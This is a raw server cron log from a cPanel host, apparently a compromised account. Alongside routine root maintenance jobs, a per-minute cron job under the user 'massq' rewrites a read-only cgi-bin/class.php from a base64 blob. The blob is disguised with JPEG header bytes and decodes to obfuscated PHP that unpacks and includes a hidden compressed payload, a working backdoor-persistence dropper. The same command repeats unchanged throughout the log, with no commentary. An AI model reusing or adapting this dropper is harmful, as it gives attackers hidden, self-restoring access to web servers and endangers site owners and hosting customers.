Sep  4 13:27:01 server CROND[8537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:27:01 server CROND[8536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:27:01 server CROND[8538]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:27:01 server CROND[8539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:28:01 server CROND[8943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:28:01 server CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:28:01 server CROND[8945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:29:01 server CROND[9323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:29:01 server CROND[9324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:29:01 server CROND[9325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:30:01 server CROND[9715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:30:01 server CROND[9716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:30:01 server CROND[9719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:30:01 server CROND[9722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:30:01 server CROND[9724]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:30:01 server CROND[9723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:30:01 server CROND[9726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:30:01 server CROND[9725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:31:01 server CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:31:01 server CROND[10564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:31:01 server CROND[10565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:32:01 server CROND[10999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:32:01 server CROND[11000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:32:01 server CROND[11001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:33:01 server CROND[11427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:33:01 server CROND[11428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:33:01 server CROND[11429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:34:01 server CROND[11805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:34:01 server CROND[11806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:34:01 server CROND[11807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:35:01 server CROND[12210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:35:01 server CROND[12212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:35:01 server CROND[12219]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 13:35:01 server CROND[12218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:35:01 server CROND[12220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:35:01 server CROND[12217]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:35:01 server CROND[12213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:35:01 server CROND[12216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:35:01 server CROND[12215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:36:01 server CROND[13099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:36:01 server CROND[13100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:36:01 server CROND[13101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:37:01 server CROND[13474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:37:01 server CROND[13473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:37:01 server CROND[13475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:38:01 server CROND[13955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:38:01 server CROND[13957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:38:01 server CROND[13958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:39:01 server CROND[14336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
